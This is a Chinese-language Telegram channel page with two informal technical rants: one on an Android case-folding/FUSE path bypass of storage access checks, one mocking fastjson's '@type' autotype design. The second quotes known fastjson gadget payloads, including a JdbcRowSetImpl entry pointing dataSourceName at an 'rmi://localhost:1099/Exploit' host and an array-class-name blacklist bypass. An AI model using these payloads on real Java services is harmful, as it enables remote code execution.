duangsuse::Echo
583 subscribers
4.12K photos
118 videos
579 files
6.13K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
#android #linux #security 幽默 utf8_casefold 大小写合并算法冲突 🤣 unicode迫真一致化
所以还是用 bytes 算了吧,大小写整什么花活, 幼稚程度堪比log4j或者在shellUI加广告的win10
FUSE 和 kernel GKI 的实现不一样,导致 /Android /.. 既不在访问黑名单里,syscall也解析到原地址

> 从此,指向存储空间的路径,例如 /storage/emulated/0/Android/data,由于 emulated 是 fuse,其底层是 /data/media,所以从 0 开始 (包括),可以在任意位置插入默认可忽略代码点,内核自动删除它们。

如果用户空间在比较路径时没有执行与内核相同的步骤,会引入安全问题,导致本应拒绝访问的路径被绕过。需要重点检查FileProvider逻辑,如果它对外提供对共享存储空间文件的访问权限,私有存储不受影响。
#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡

fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁​还煞有介事在下面装无辜, 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK

# xx toJSONString : {"sale":{"price":0.5},"name":"Hollis"} 的类结构
.:
- Store-name-sale ["" IFruit]

.: IFruit
- Apple-price [0]
- Free

-xx Store "Hollis" (Apple 0.5)


这里有个问题, IFruit 其实是 sealed interface IfFruit{ Apple; Free } ,前者有"price":Int 后者没有field或setter,因此 parse<Store> ("{..}").sale as Apple 只能失败。

那 IFruit 凭啥能在无 backing field 的情况下被databind出来?new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错,他搞笑呢,从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢? 通过严格定义的 sealed/enum ADT{} ?通过XML?都不是,他懂, Auto "@type"...
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
// 正确做法
{"sale":{type: Apple, "price":0.5},"name":"Hollis"}
// Rust默认做法
name=Hollis
[sale]
Apple={price=0.5}

脚本引擎都弄出来了呀…… 这画风和js的JSON迥异,生硬如同 new WTF({kwarg:..})
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ,数不清的注入点。
{"@type": "jdk.jfr.internal.JVM", "memorySize": 1} , {@type":"com.ibatis.sqlmap.engine.transaction.jta ... 变游乐场了

第一次知道这么脑洞打开的 workaround ,是把 List<*> =Any 泛型擦除当真理了吗, 真当子类多态就是一切皆Object 一切有@type呢, 其实那就是 enum { A(int) B(str) } 的特例而已!👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法,开 1.2.25 blacklist 后 lazy(loadClass)("[Lcom.sun.rowset.JdbcRowSetImpl;") 等为方便ASM和反射也是合法类名,和温大佬异想天开的不一样, 修得和安卓 utf8_casefold 大小写合并bypass 一样弱智。真是不能期待他们在RCE 0day后,对OOP和json的强类型理解会有所反思,
因为直到 1.2.47 ,他都用类似 breakwa11 的黑名单「闭源」来防,拉黑算法还有bug…… 恕我直言,common sense 缺到有点好笑。 还@type呢, {"": "Apple"} 都是合法json,这不得快得废弃来?
(子类多态,var_a:T=b as T1 合法, Fn1<in T,out R> 就可以兼容赋值?super T ,override同理,这才叫懂八股..)

和log4j一样级别的。有时候我都好奇,在一个a[i]的 i±1 都绝对报错的代码世界,在try{return} 都会跳到finally{close..}的事务性严谨圈子里,在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下,SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物,硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的,代码和常量就这么拼接了?一个扁平一个嵌套分不清吗? 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ,这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事,真拿人html/DOM就瞎用,丢的岂止隐私?

唉,草台班子。 「你就说弹calc.exe快不快吧」
这不禁让我想到「一种游戏服务器RPC返回Object的方法」: 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效,能够安全写入? set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上,或ROP覆盖了return“回调”的函数呢,你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对?

libc 和 Linux 防但防不住的,就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks